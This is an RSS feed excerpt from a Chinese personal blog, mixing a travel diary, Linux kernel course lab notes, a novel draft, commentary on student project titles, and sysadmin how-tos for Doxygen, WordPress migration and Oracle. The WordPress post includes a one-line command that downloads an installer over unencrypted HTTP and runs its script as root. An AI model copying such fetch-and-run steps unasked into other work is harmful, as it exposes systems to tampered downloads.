回旅店的路上还遇到了不知道是不是骗子的骗子。上来就一口上海话快速的说了几分钟，我反问一句：你在说什么？然后换用普通话交谈后说要我填一个调查问卷，但是却要领我上电梯。（应该是骗子无误吧
那会儿五点多，应该是放学的时候了，地铁站里迎面走来一个戴着红领巾的人，比我还高，我纳闷了一会儿，以为不是学生可能戴红领巾有特殊原因，结果又走了一段儿，迎面走来一群带着红领巾穿着校服的学生。他们居然都比我高。高一截。
回到住房后，门缝上居然还塞上了几张色情服务卡片，只要拨打电话就可以嗨嗨嗨，就像后会无期里面那样。（话说布丁连锁不是说挺有名？居然也是这个样子？另外，应该不是每个住客都会被塞这种卡片吧，这么说就是酒店自身搞的咯？）
另外，在书城里买了本书《活着之上》，运气很好还拿到了签名本，就当做这次上海之行的纪念吧。</description></item><item><title>Linux 内核分析 之六：Linux 内核创建进程的过程</title><link>https://changkun.de/blog/posts/linux-kernel-6/</link><pubDate>Sun, 12 Apr 2015 09:49:03 +0000</pubDate><guid>https://changkun.de/blog/posts/linux-kernel-6/</guid><description>说明 欧长坤 原创作品转载请注明出处 《Linux内核分析》MOOC课程http://mooc.study.163.com/course/USTC-1000029000 这学期学校恰好有操作系统的课程，上个学习就开始寻思研究研究Linux内核代码，恰好MOOC有这个课程，遂选了此课。
一、准备工作 这节课的任务依旧很简单，我们来尝试分析一下在一个实际的操作系统下（Linux），它是如何实现操作系统理论中关于进程创建和相关调度的过程。 因此，如果学过操作系统理论的话，我们可以根据相关理论知识来提前预测一下task_struct的应该会存在哪些结构：
进程状态、将纪录进程在等待、运行、或死锁 调度信息、由哪个调度函数调度、怎样调度等 进程的通讯状况 有插入进程链表的相关操作，因此必须有链表连接指针、当然是task_struct型 时间信息，比如计算好执行的时间、以便CPU资源的分配 标号，决定改进程归属 可以读写打开的一些文件信息 进程上下文和内核上下文 处理器上下文 内存信息等等 我们可以在/linux-3.18.6/include/linux/sched.h中找到tast_struct的定义：
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 struct task_struct { volatile long state; //说明了该进程是否可以执行,还是可中断等信息 unsigned long flags; //进程号,在调用fork()时给出 int sigpending; //进程上是否有待处理的信号 mm_segment_t addr_limit; //进程地址空间,区分内核进程与普通进程在内存存放的位置不同 //0-0xBFFFFFFF for user-thead //0-0xFFFFFFFF for kernel-thread //调度标志,表示该进程是否需要重新调度,若非0,则当从内核态返回到用户态,会发生调度 volatile long need_resched; int lock_depth; //锁深度 long nice; //进程的基本时间片 //进程的调度策略,有三种,实时进程:SCHED_FIFO,SCHED_RR, 分时进程:SCHED_OTHER unsigned long policy; struct mm_struct *mm; //进程内存管理信息 int processor; //若进程不在任何CPU上运行, cpus_runnable 的值是0，否则是1 这个值在运行队列被锁时更新 unsigned long cpus_runnable, cpus_allowed; struct list_head run_list; //指向运行队列的指针 unsigned long sleep_time; //进程的睡眠时间 //用于将系统中所有的进程连成一个双向循环链表, 其根是init_task struct task_struct *next_task, *prev_task; struct mm_struct *active_mm; struct list_head local_pages; //指向本地页面 unsigned int allocation_order, nr_local_pages; struct linux_binfmt *binfmt; //进程所运行的可执行文件的格式 int exit_code, exit_signal; int pdeath_signal; //父进程终止是向子进程发送的信号 unsigned long personality; int did_exec:1; pid_t pid; //进程标识符,用来代表一个进程 pid_t pgrp; //进程组标识,表示进程所属的进程组 pid_t tty_old_pgrp; //进程控制终端所在的组标识 pid_t session; //进程的会话标识 pid_t tgid; int leader; //表示进程是否为会话主管 struct task_struct *p_opptr,*p_pptr,*p_cptr,*p_ysptr,*p_osptr; struct list_head thread_group; //线程链表 struct task_struct *pidhash_next; //用于将进程链入HASH表 struct task_struct **pidhash_pprev; wait_queue_head_t wait_chldexit; //供wait4()使用 struct completion *vfork_done; //供vfork() 使用 unsigned long rt_priority; //实时优先级，用它计算实时进程调度时的weight值 …… //后面就不看了 我们不关心 }; 可以看到，现在的Linux系统基本上是按照操作系统理论来进行设计的，但是在实现的过程中，理论往往是不够的，为了实现很多实际的需求，tast_struct还定义了很多额外的结构，来方便系统的相关管理，比如后面没有列出来的一些文件操作相关的结构，这些结构一般用于当一个进程没有按照规范来操作文件时，当进程被杀掉后，系统任然可以对这些不规范的操作进行管理。当然，后面还有很多内容也是如此，我们就不一一叙说了，我们只看创建一个进程的相关重点。</description></item><item><title>小说「泽缘」</title><link>https://changkun.de/blog/posts/%E5%B0%8F%E8%AF%B4%E6%B3%BD%E7%BC%98/</link><pubDate>Sat, 11 Apr 2015 16:28:33 +0000</pubDate><guid>https://changkun.de/blog/posts/%E5%B0%8F%E8%AF%B4%E6%B3%BD%E7%BC%98/</guid><description>本文最初写于2010年6月10日前后，因百度空间关闭搬迁至此。 笔者已无法记起当时写下下面这段文字的心情和情景。 预知后事如何，请读者自行脑补。
终于，我能够静下心来阐述我的某些遭遇，而这些遭遇，对你而言，是必要的。我写这篇小说的目的并不是为了明确什么观点，也不是为了叙述某些事情，而是… 四岁那年的事情，从某种层面来看，我是没有记忆的。事实并非如此，四岁的记忆宛如昨日光景，在我的脑海，记忆犹新。当时的我很幼稚，可以说在大人们眼里，我仅仅只是个孩子。别的，什么也不是。你很难想象当时的我是什么个样子，因为，它只刻印在我的脑海，独一无二，不可传授。很多人会说和我有关的人会有那些所谓“关于我”的记忆，但是我只能够说，他们拥有我的：外貌，行为表现，文化素养，等等。而他们无法获取的一点，也是最重要的一点，那就是我内心深处的心房。 从小就这样，我不喜欢而且憎恨和别人说话，因为我从小就这个样子，没有父母的我或许命中注定了我就是这个样子，阴暗，封闭。这就是我的宿命。 我很清晰的记得，我一个人住在孤儿院的某个房间，封闭自己，足不出户。当然这种封闭不是绝对的，由于生理的需要我会同其他同龄的孤儿同桌吃饭，和其他的人共同出恭，诸如此类的事情比比皆是，但是，我的原则依旧是“金口难开”。 有一次，孤儿院的老院长无意中从我身边经过，也许是我那阴森的气息过于浓重，她叫住了我：“泽缘，你怎么从来就没有和其他的小朋友说话呢？有什么事情别往心里藏，过度的封闭自己是不好的。”筱泽缘，如果不是院长叫我，大概四岁的我长期这样封闭自己很有可能永远都无法知晓我的名字。 “泽缘，知道了么？”我很难以相信，为什么会有人向我主动说话，并且和蔼可亲。我瞪大了双眼，直直的看着院长，满脸莫名。五秒钟后，我飞快的奔往我的房间，碰的关上门，门外，夕阳满天。 十五岁那年我终于憋不住了，当我说出这些年来的第一句话的时候，我释然了。尽管这样，偏偏命运的捉弄，这种感觉稍纵即逝，无影无踪。这次说话是一个女生说话，不知道为什么，我只想和她说一句话：“我喜欢你。”我不知道，喜欢这个词语是怎么跑进我的脑海，我只记得我在孤儿院接受过小学程度的教育，然而这里的条件不好，所以只能够供应我受到这种程度的教育。对此我并没有在意过。对于这样的我，或许是最真实的。 一个瞬间，我的脸上多了一个手印，她气愤的走了，抛下一句：“流氓。” 手印留下的瞬间我十分疑惑我自己，为什么会说出这样的话，为什么从来不说话的我会这个样子，我读不懂我自己，我读不懂这十一年。 我又再和别人说话的那一年是我有记忆起的十四年，是我成年的那年。我独自坐在房间，等待十二点钟声的敲响，它代表这我独立了。九月二十五号的第一鸣钟声响彻整个城市，他呼唤我，向我招手，告诉我说，泽缘，你成年了，你已经来到人间十八年了。是该考虑自己的未来了。 我离开了孤儿院，之前的院长不知去往何处，在五年前新校长就上任了，然而我在新校长面前始终被认为是个异类，对此我感到很正常，因为这个世界上和我说过话的除了那个女生，以及老院长，别无他人。
（待续）
补充: 我居然在硬盘里发现了一个重写过的后续版本
爱情不是轰轰烈烈的誓言，而是平平淡淡的陪伴。
序 终于，我能够静下心来阐述我的某些遭遇。而这些遭遇，对你我而言，无可厚非是必要的。 我些这篇小说的目的并不是为了明确任何的观点，也不是为了叙述某些我想记住的事情。而是…… 四岁那年的事情，从某种层面来看，我是没有记忆的。事实却并非如此，四岁的记忆宛如昨日光景，在我的脑海，记忆犹新。当时的我很幼稚，可以说在大人们眼里，我仅仅只是个孩子。别的，什么也不是。你很难想象当时的我是什么个样子。因为它只刻印在我的脑海，独一无二，不可移植。很多人会说，和我有关的人会有那些所谓“关于我”的记忆，但是我只能够说，他们拥有我的：外貌，行为表现，文化素养等等。而他们无法获取的一点，也是最重要的一点，那就是我内心深处的心房。 从小就这样，我不喜欢而且憎恨和别人说话，因为我从小就这个样子，没有父母的我或许命中注定了我就是这个样子。阴暗，封闭。这就是我的宿命。 我很清晰的记得，我一个人住在孤儿院的某个房间，封闭自己，足不出户。当然这种封闭不是绝对的，由于生理的需求我会同其他同龄的孤儿同桌吃饭，和其他的人共同出恭等等诸如此类的事情。但是，我的原则依旧是“金口难开”。 有一次，孤儿院的老院长无意中从我身边经过，也许是我那阴森的气息过于浓重，她叫住了我：“泽缘，你怎么从来就不和其他的小朋友说话呢？有什么事情别往心里藏，过度的封闭自己是不好的。”筱泽缘，如果不是院长叫我，大概四岁的我长期这样封闭自己很有可能永远都无法知晓我的名字。 “泽缘，知道了么？”我很难相信，为什么会有人向我主动说话，并和蔼可亲。我瞪大了双眼，直直的看着院长，满脸莫名。五秒钟后，我飞快奔向我的房间。碰！门外，夕阳满天。 十五岁那年我终于憋不住了，当我说出这些年来第一句话时，我释然了。尽管这样，偏偏命运的捉弄，这种感觉稍纵即逝，无影无踪。这次说话是和一个女生说话，不知道为什么，我只想和她说一句话：“我喜欢你。”我不知道，喜欢这个词语怎么跑进我的脑海，我只记得我在孤儿院接受过初等程度的教育，然而这里的条件不好，所以只能够供应我收到这种成都的教育。崔次我并没有在意过。对于这样的我，或许是最真实的。 一个瞬间，我的脸上多了一个手印，她气氛的走了，抛下一句：“流氓。” 手印留下的瞬间我十分一伙我自己，为什么会说出这样的话，为什么从来不说话的我会这个样子，我读不懂我这十一年。 我又再和别人说话的那年是我有记忆起的十四年，是我成年的那年。我独自坐在房间，等待十二点钟声的敲响，它代表着我独立了。九月二十五号的第一鸣钟声响彻整个城市，它呼唤我，向我招手，告诉我说：泽缘，你成年了，你来到人间已经走过了十八个年头。是时候该考虑考虑自己的未来了。 第二天我找到新的院长，办理了退宿手续，离开了孤儿院。之前和我说过话的院长在五年前就不知所踪。新的校长自上任后就没有和我说过一句话。他似乎看见我来办理退宿手续就显得异常的兴奋和高兴，巴不得我赶紧离开。
风在撕裂谁？ 离开孤儿院的第一天，我感到十分的迷茫，硕大的城市不知哪儿是我的归途。 孤儿院位于在新竹县的一条小巷内，里面的设施十分的简单，除了院长管理孤儿的生活起居外，还有一个人那就是龙老师。龙老师自从我有记忆以来就一直住在孤儿院了。我所有关于这个世界的看法以及各种杂七杂八的知识都来源于他。他只是一个普通的教师，他包揽了我印象中的所有初等教育的内容，有语文，有数学，甚至还有英语。我离开孤儿院的那天龙老师似乎哭的很伤心，虽然我没有跟他说过任何一句话，但是他依然泣不成声，因为每个从孤儿院走出去的孩子，都是他一手教大的。我收拾行李之前，龙老师坐到我的床边，嘱咐我在外奔波时应如何如何。大谈今后的我如果有出息，一定要记得回到孤儿院来看看他。我那时就感觉他是一个敬业的人。虽然我从未跟他说过话，但是他依旧待我不薄。而我却不知道龙老师究竟多少年纪，也不知我离开孤儿院后还能不能再见他一面。 走在路上，我回想起这十八年来走过的点滴。虽然记忆犹新，却暗淡无光。 前面是一堵墙，我看见一份关于房屋出租的广告，于是我撕掉下方的电话，走进公话超市，向其询问了关于住房的相关信息，总的来说价格还是能够接受。 离开孤儿院时院长从自己的银行卡里面取出了三千元钱，对我说：泽缘，这三千块钱就是你今后的所有家产了，至于之后的路，就看你自己了。 对于在世十多年都没有摸过钱是什么的我，三千在我当时看来是一笔不小的数目。给我的感觉就是三千块钱足够我使用一年了。但是很遗憾，当我离开孤儿院后在各种街道上看着那些从未见过的市面，彷徨失措。走过一个个商店的橱窗，看着一个个标着价格的商品。我才意识到，三千块钱最多够我维持三个月。 之后我沿路查看了很多关于房屋出租的信息，对比之下，四百一个月，是这里最便宜的价格了。于是我在天色即将拉下之时入住了一间小房间。 第一晚，我收拾好自己的东西，把房间整理成我想要的样子，躺在了床上，思考着明天的我又将归向何方。 门外的轰鸣声吵醒了我，原来是火车。我这才知道这件房屋背后的不远处就有火车的铁轨。看天色也已明亮，便收拾好各类证件，出了门。 第二天在路上，我明白我应该去找一份能够维持我生活下去的工作。异常的顺利，我成功的在一家餐厅里做起了服务员，月薪一千五。这个价格很符合我的胃口，我认为每个月一千块钱的使用是绰绰有余。所以当老板问及我月薪一千五能否接受的时候，我不假思索的答应了。而在我和老板签订劳动合同后才知道，这里的每个员工的工薪都比我高出很多。我这才知道，自己是被骗了。
遇见 就在这日复一日，乏味，单调，三点一线的日子中，又过去了两个月。这两个月我有尝试着和别人开放性的说话，因为上次我在和餐厅应聘的时候和老板说的话少之又少，老板对我说道，若是我在客人面前也是这个样子就立即解雇我。 这天在我回去的路上，我相信我没有眼花，对，我看见她了——那个打过我的女孩。 她似乎在寻找什么，四处张望，并不断找路人询问着什么。我有意的避开她了，我相信她十分不愿意见到我。因为在她眼中，我就是一个“流氓”。 我有留意过她，这是我从上一次被她打后再一次见到她。熟话说女大十八变，这话不假。她比几年前更加漂亮了。 是的，我错了，她实际上是在找我。几天后的晚上，她敲响了我所住房间的房门。打开房门的瞬间，她冲进来遍抱住了我，随之而来的就是：我找得你好苦。
（待续）</description></item><item><title>Linux 内核分析 之五：system_call中断处理过程的简要分析</title><link>https://changkun.de/blog/posts/linux-kernel-5/</link><pubDate>Sun, 05 Apr 2015 13:52:18 +0000</pubDate><guid>https://changkun.de/blog/posts/linux-kernel-5/</guid><description>说明 欧长坤 原创作品转载请注明出处 《Linux内核分析》MOOC课程http://mooc.study.163.com/course/USTC-1000029000 这学期学校恰好有操作系统的课程，上个学习就开始寻思研究研究Linux内核代码，恰好MOOC有这个课程，遂选了此课。
一、准备工作 本周的实验是第四周实验的自然延伸。同样的，它也并不难。 我们可以在http://codelab.shiyanlou.com/xref/linux-3.18.6/arch/x86/syscalls/syscall_32.tbl中查看系统调用号。
如果你上周没有看过我的文章，你可以看看这里。我使用了systeminfo这样一个系统调用。
二、实验过程：跟踪系统调用 我们使用了sysinfo这个库函数API。 下面的三张实验图显示了我们已经成功的使用gdb调试跟踪到了sysinfo这个系统调用（函数名为sys_sysinfo），但是随后使用next命令继续调试时，显然无法再继续调试了，因为不能直接使用gdb来对使用汇编代码编写的system_call进行调试和追踪。这里有一篇文章介绍了如何使用gdb来调试汇编代码，我就不继续展开了：http://www.doc88.com/p-0781911176267.html
三、system_call过程分析 不说废话，老师上课对system_call的分析过程非常清楚，伪代码抓住了重点，我们很容易就能够画出下面的流程图：
接下来我们逐行分析系统调用处理过程的汇编伪代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 .macro INTERRUPT_RETURN ; 中断返回 iret .endm .macro SAVE_ALL ; 保护现场 ... .macro RESTORE_INT_REGS ... .endm ENTRY(system_call) SAVE_ALL syscall_call: call *sys_call_table(,%eax,4) movl %eax, PT_EAX(%esp) ; store the return value syscall exit: testl $_TIF_ALLWORK_MASK, %ecx # current-&amp;gt;work jne syscall_exit_work restore_all: RESTORE_INT_REGS irq_return: INTERRUPT_RETURN ; 到这里就算执行完了 ENDPROC(system_call) syscall_exit_work: testl $_TIF_WORK_SYSCALL_EXIT, %ecx jz work_pending END(syscall_exit_work) work_pending: testb $_TIF_NEED_RESCHED, %cl jz work_notifysig work_resched: call schedule jz restore_all work_notifysig: .</description></item><item><title>大创项目的标题真是每年都在考验同学们的想象力啊</title><link>https://changkun.de/blog/posts/%E5%A4%A7%E5%88%9B%E9%A1%B9%E7%9B%AE%E7%9A%84%E6%A0%87%E9%A2%98%E7%9C%9F%E6%98%AF%E6%AF%8F%E5%B9%B4%E9%83%BD%E5%9C%A8%E8%80%83%E9%AA%8C%E5%90%8C%E5%AD%A6%E4%BB%AC%E7%9A%84%E6%83%B3%E8%B1%A1%E5%8A%9B%E5%95%8A/</link><pubDate>Thu, 02 Apr 2015 20:34:55 +0000</pubDate><guid>https://changkun.de/blog/posts/%E5%A4%A7%E5%88%9B%E9%A1%B9%E7%9B%AE%E7%9A%84%E6%A0%87%E9%A2%98%E7%9C%9F%E6%98%AF%E6%AF%8F%E5%B9%B4%E9%83%BD%E5%9C%A8%E8%80%83%E9%AA%8C%E5%90%8C%E5%AD%A6%E4%BB%AC%E7%9A%84%E6%83%B3%E8%B1%A1%E5%8A%9B%E5%95%8A/</guid><description>今年大创申请结果出来了。虽然我没有申请。但是还是习惯性地关注了一下有哪些项目立项。 突然发现我们学校也开始玩起了前沿技术。 当年一个App可立国家级的项目的情形似乎已经一去不复返了。
校级项目里面几乎全是手机软件的开发，什么交友啊二手啊之类的。作为一个经历过四届大创的学长，所以真诚的提醒你们：计划明年申请的同学一定不要做这个了，评审老师估计也会彻底看不起了。 想当年一个垃圾短信屏蔽的安卓app都可以成为国家级…（逃
各个级别上得划分我看觉得特别合理，特别是我之前在帮学弟们找项目idea时候做的研究方向的预测，上省级的大多数都会大数据啊物联网啊ARVR之类的看起来很前沿很高端的技术上靠拢。 不过，今年的校级项目里面有一个项目从标题上看我觉得挺好，但是没有申请到更高级别显得比较遗憾。 家用NAS云服务器管理软件开发及研究 这个标题实在是太GEEK了，难怪没有申请到省级以上，这个产品毕竟太小众了，那么它的管理软件就更加小众了。（不过。我以后有钱了肯定是要在家里搞这么一个玩意的。
国家级五个项目里面除了我超级喜欢的飞行器和不明觉厉的面向民族地区的地图外，其他三个项目的核心技术我居然都有研究过啊哈哈哈哈哈哈哈哈我好棒（逃。
基于深度学习的人脸识别系统设计与实现 看到深度学习我突然感觉到好温馨啊。点个赞。 不过令我没想到的是人脸识别这项几乎已经被认为是攻克了的技术。居然连续三年不断申请终于从校级走到了国家级。 去年那个项目用的技术叫做压缩感知（这项技术早在08年Deep Learning被提出的时候就失去热度了）。 所以今年这个项目总算把技术赶了上来换成了当下最火的Deep Learning 。 恰好，去年的那个时候我对Deep Learning还不是很了解，始终认为压缩感知作为一种“被淘汰”的技术…我妥妥的在申请项目时候把Deep Learning作为要研究的核心技术。 反倒是在我研究Deep Learning的这一年当中，逐步认识到压缩感知可以作为Deep Learning的一个很重要的Foundation（尽管只是理论价值而已）。 然后实现Deep Learning的时候我还发现这货根本不是一般的dataset可以驾驭得了的……即便有了这样的dataset，也没有硬件成本驾驭这个dataset啊…那么问题来了……（逃 顺便我做一个广告，如果想快速构建一个 Deep Net 我用在做去年申请的项目过程中开发了一个框架叫做SmartNet，专门用来快速搭建DeepNet。项目结题后我就开源。（全世界唯一有中文文档的深度学习库哟
基于LeapMotion和偏振式3D显示器的三维模型演示系统 LeapMotion也是我在研究去年那个项目的过程中被我彻底抛弃的一项技术。 我大致可以想象这个项目最后会出现什么样的结果了…好吧，不跳进坑里你们是不知道这个坑有多深的。（逃 硬性广告：大一时候搞的那个手势识别在现在这个项目里我也做了优化 结题后我也会开源哟（轻量级可轻松扩展的自学习手势库哟
基于用户行为的大数据挖掘引擎——以新媒体平台为例 用户行为大数据引擎= =擦 我大创不就写得这个吗 。 以新媒体为例——我会告诉你我一个库解决了所有平台吗（逃 硬广：HorcruxLib是我开发的一个能够轻松实现分布式机器学习算法的库，性能甚至可以优于MapReduce架构的引擎，支持宕机容错，玩得动TB级的数据，配套使用的还有一个集成了大部分机器学习的算法库MLiteKit。结题后我就开源哟（世界上唯一一个有中文文档的分布式机器学习库和机器学习算法库哟
省级项目也不例外，有四个项目的关键技术我都有涉及：
基于蓝牙技术的通信软件的研究和开发 基于HTTP协议下地远控演示系统 基于Spark大数据处理的在线图书推荐系统 基于树莓派3G4G网络的可远程控制智能家居系统的实现 我擦蓝牙技术我用来做精准定位诶 我擦远控系统不就是拿了中国科学最高奖的透明计算吗 我做的一个演示demo就是远控 果然dr zhou带的项目就是不同 我也觉得spark是未来工业界的希望啊 （特别是spark1.3发布之后 树莓派我用来搭过三节点集群 好好玩真的
总结 国家级/省级中奖概率95%模板：基于XXX和YYY的ZZZ的MM和NN XXX和YYY至少有一样是热门技术名词； ZZZ一定是自己想的一个名词； MM和NN一般是“研究”、“实现”、“设计”等动词 ；</description></item><item><title>Linux 内核分析 之四：使用库函数API和嵌入汇编两种方式使用同一个系统调用</title><link>https://changkun.de/blog/posts/linux-kernel-4/</link><pubDate>Sun, 29 Mar 2015 14:52:26 +0000</pubDate><guid>https://changkun.de/blog/posts/linux-kernel-4/</guid><description>说明 欧长坤 原创作品转载请注明出处 《Linux内核分析》MOOC课程http://mooc.study.163.com/course/USTC-1000029000 这学期学校恰好有操作系统的课程，上个学习就开始寻思研究研究Linux内核代码，恰好MOOC有这个课程，遂选了此课。
一、准备工作 本周的实验比起前三周的实验稍微容易得多。我们可以在http://codelab.shiyanlou.com/xref/linux-3.18.6/arch/x86/syscalls/syscall_32.tbl中查看系统调用号。
二、分析 在这里，我们决定使用sysinfo这个库函数API，首先，我们得会使用这个API。
在 Linux 中，sysinfo可以用来获取系统相关信息的结构体。 函数声明和原型如下所示：
1 2 #include &amp;lt;sys/sysinfo.h&amp;gt;int sysinfo(struct sysinfo *info); 那么，这个sysinfo的结构体长什么样？
1 2 3 4 5 6 7 8 9 10 11 12 struct sysinfo { long uptime; unsigned long loads[3]; // 启动到现在经过的时间 unsigned long totalram; // 总的可用的内存大小 unsigned long freeram; // 还未被使用的内存大小 unsigned long sharedram; // 共享的存储器的大小 unsigned long bufferram; // 缓冲区大小 unsigned long totalswap; // 交换区大小 unsigned long freeswap; // 还可用的交换区大小 unsigned short procs; // 当前进程数目 char _f[22]; // 64字节的补丁结构 }; 其实我们都并不关心这个sysinfo的结构到底长什么样，我们目前所关心的是如何能够成功的调用。 实际上看到这里，我们已经能够完成使用库函数调用的C代码了。</description></item><item><title>Doxygen 生成中文 Latex 文档</title><link>https://changkun.de/blog/posts/doxygen-latex-doc/</link><pubDate>Sat, 28 Mar 2015 21:11:42 +0000</pubDate><guid>https://changkun.de/blog/posts/doxygen-latex-doc/</guid><description>如今已经离不开 Mac 了，寒假的时候好好研究了一下Latex，终于在 Mac 能够熟练使用 MacTex 的各种生成方法了。
造轮子的时候，通常会遇到写文档的麻烦，了解到有 Doxygen 这个工具，还可以生成 Latex 的 pdf 文档，果断用了它。
但是似乎并不能直接根据代码生成中文文档，这就很讨厌了。
原因在于 doxygen 本身并不能直接输出 pdf 文件，而是生成 latex 目录，利用 makefile 来生成pdf文件。幸运的是，对于 latex 排版，doxygen 其实已经做了很多准备，保存的源文件是UTF-8编码，并默认使用了utf8 package。因此是支持多国语言的。
但是对于中文来说，还需要加载 CJKutf8 package，并配置好CJK环境。这才能顺利的使用中文。
所以解决方法其实很简单：
使用docxygen生成文档，注意选上 GENERATE_LATEX 、LATEX_OUTPUT、USE_PDFLATEX（最好还选上 PDF_HYPERLINKS）； 用文本编辑器打开 docxygen 生成的 latex 目录中的 refman.tex。找到“\begin{document}”这一行，将其修改为
1 2 3 4 5 6 7 8 \usepackage{CJKutf8} \begin{document} \begin{CJK}{UTF8}{gbsn} [/code] 再找到“\end{document}”这一行，将其修改为 [code lang=&amp;#34;latex&amp;#34;] \end{CJK} \end{document} 保存，输入make，完成编译。</description></item><item><title>Wordpress 站点搬家</title><link>https://changkun.de/blog/posts/wordpress-%E7%AB%99%E7%82%B9%E6%90%AC%E5%AE%B6/</link><pubDate>Fri, 27 Mar 2015 18:10:20 +0000</pubDate><guid>https://changkun.de/blog/posts/wordpress-%E7%AB%99%E7%82%B9%E6%90%AC%E5%AE%B6/</guid><description>我的 Wordpress 站点使用的是 lnmp 快速搭建的，所以如果是搬家的话可以很快。
首先在新的VPS上安装lnmp。 下面这一行命令就可以解决了。
1 wget -c http://soft.vpser.net/lnmp/lnmp1.1-full.tar.gz &amp;amp;&amp;amp; tar zxf lnmp1.1-full.tar.gz &amp;amp;&amp;amp; cd lnmp1.1-full &amp;amp;&amp;amp; ./centos.sh 然后在执行：
1 /root/vhost.sh 就可以按照步骤创建好文件夹了。
下一步就是把文件备份过来。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 # 原服务器 tar -cvf euryugasaki.com.tar /home/wwwroot/euryugasaki.com # 网站打包 mysqldump -u 用户名 -p 数据库 &amp;amp;gt; 数据库.sql # mysql 数据备份 mv 文件 /home/wwwroot/euryugasaki.com/backup/ # 新服务器 wget http://euryugasaki.</description></item><item><title>Linux 内核分析 之三：Linux内核启动函数start_kernel()的简单分析</title><link>https://changkun.de/blog/posts/linux-kernel-3/</link><pubDate>Fri, 20 Mar 2015 23:30:52 +0000</pubDate><guid>https://changkun.de/blog/posts/linux-kernel-3/</guid><description>说明 欧长坤 原创作品转载请注明出处 《Linux内核分析》MOOC课程http://mooc.study.163.com/course/USTC-1000029000 这学期学校恰好有操作系统的课程，上个学习就开始寻思研究研究Linux内核代码，恰好MOOC有这个课程，遂选了此课。
一、准备工作 废话不多说，命令一行行敲下去，搭建好环境。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 cd ~/Work/ wget https://www.kernel.org/pub/linux/kernel/v3.x/linux-3.18.6.tar.xz xz -d linux-3.18.6.tar.xz tar -xvf linux-3.18.6.tar cd linux-3.18.6 make i386_defconfig make cd ~/Work/ mkdir rootfs git clone https://github.com/mengning/menu.git # 话说这里为什么用MenuOS 我个人觉得老师一来是节约编译时间 二来也可以做做广告 cd menu sudo apt-get install libc6:i386 lib32stdc++6 # 这两行安装非常有必要 sudo apt-get install lib32readline-gplv2-dev # 在64bit的Ubuntu环境下不能编译这个MenuOS的roofs 需要这些包来支持 即使用了-m32 gcc -o init linktable.</description></item><item><title>Ubuntu14.04 安装 Oracle 11g R2 Express Edition</title><link>https://changkun.de/blog/posts/ubuntu1404-install-oracle/</link><pubDate>Tue, 17 Mar 2015 23:48:33 +0000</pubDate><guid>https://changkun.de/blog/posts/ubuntu1404-install-oracle/</guid><description>安装 Java 环境 1 2 sudo apt-get install openjdk-7-jre sudo apt-get install openjdk-7-jdk 设置 JAVA_HOME 1 sudo gedit /etc/bash.bashrc 拖到最后面，添加下面两行：
1 2 export JAVA_HOME=/usr/lib/jvm/java-7-oracle export PATH=$JAVA_HOME/bin:$PATH 退出，执行
1 source /etc/bash.bashrc 执行下面的语句:
1 echo $JAVA_HOME 你会得到下面的结果：
1 /usr/lib/jvm/java-7-oracle 安装 Oracle 11g 执行：
1 sudo apt-get install alien libaio1 unixodbc 一定要确保上面的安装完成了一个都不能漏，如果你漏装了libaio1，最后不会成功的运行Oracle服务，会返回下面的错误：</description></item><item><title>Linux 内核分析 之二：基于时间片轮转的简单的系统内核构造</title><link>https://changkun.de/blog/posts/linux-kernel-2/</link><pubDate>Sat, 14 Mar 2015 17:10:55 +0000</pubDate><guid>https://changkun.de/blog/posts/linux-kernel-2/</guid><description>说明 欧长坤 原创作品转载请注明出处 《Linux内核分析》MOOC课程http://mooc.study.163.com/course/USTC-1000029000 这学期学校恰好有操作系统的课程，上个学习就开始寻思研究研究Linux内核代码，恰好MOOC有这个课程，遂选了此课。
一、准备工作 首先，我们需要先在自己的系统上搭建实验环境，老师给出了Linux内核版本为3.9.4的加载mykernel的方法：
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 sudo apt-get install qemu # 安装 QEMU # 这里对QEMU进行一个简单介绍，QEMU是一个Open Source Processor Emulator # 它能有效的模拟 x86 架构等个人电脑，有两种运行模式： # User mode模拟模式，QEMU 能启动那些为不同中央处理器编译的Linux程序。而Wine及 Dosemu是其主要目标。 # System mode模拟模式，QEMU能模拟整个电脑系统，包括中央处理器及其他周边设备。 # 一句话来说就是QEMU可以模拟运行我们编译的linux内核镜像 sudo ln -s /usr/bin/qemu-system-i386 /usr/bin/qemu # 为QEMU创建一个链接能够在系统级上直接执行而不需要通过目录来执行 wget https://www.kernel.org/pub/linux/kernel/v3.x/linux-3.9.4.tar.xz # 下载 Linux3.9.4 内核 wget https://raw.github.com/mengning/mykernel/master/mykernel_for_linux3.9.4sc.patch # 下载 mykernel_for_linux3.9.4sc.patch 补丁 xz -d linux-3.</description></item><item><title>Linux 内核分析 之一：How Computer Works 实验</title><link>https://changkun.de/blog/posts/linux-kernel-1/</link><pubDate>Tue, 03 Mar 2015 18:06:52 +0000</pubDate><guid>https://changkun.de/blog/posts/linux-kernel-1/</guid><description>说明 欧长坤 原创作品转载请注明出处 《Linux内核分析》MOOC课程http://mooc.study.163.com/course/USTC-1000029000 这学期学校恰好有操作系统的课程，上个学习就开始寻思研究研究Linux内核代码，恰好MOOC有这个课程，遂选了此课。
一、实验过程 首先，我们将C语言代码利用编译器编译成汇编代码，下面是C语言代码：
1 2 3 4 5 6 7 8 9 10 11 12 int g(int x) { return x + 999; } int f(int x) { return g(x); } int main(void) { return f(0) + 1; } 值得一提的是，事实上在我们没有使用标准C语言库的时候，可以不引用任何头文件（比如#include 就是不需要的）。显然，上面的代码并没有用到任何库函数。
通过gcc的功能，我们可以自定义编译参数来控制编译选项，我们为了让上面的代码编译成32位汇编代码，使用下面的命令：
1 gcc -S -o main.s main.c -m32 其中我们的编译环境为Mac OS X 10.10，所以提供的编译环境为64位编译环境，所以使用了参数-m32将C语言代码编译为32位汇编代码，而-S表示只是编译不汇编，生成汇编代码。而-o file表示将结果输出到file中。
我们可以观察生成的.s文件，如下图所示。
bwlq分别代表8、16、32、64位寄存器操作，所以我们可以看到这里的汇编指令l结尾，说明这些指令都是操控32位寄存器长度。
我们保留纯汇编代码的部分，得到如下的汇编代码
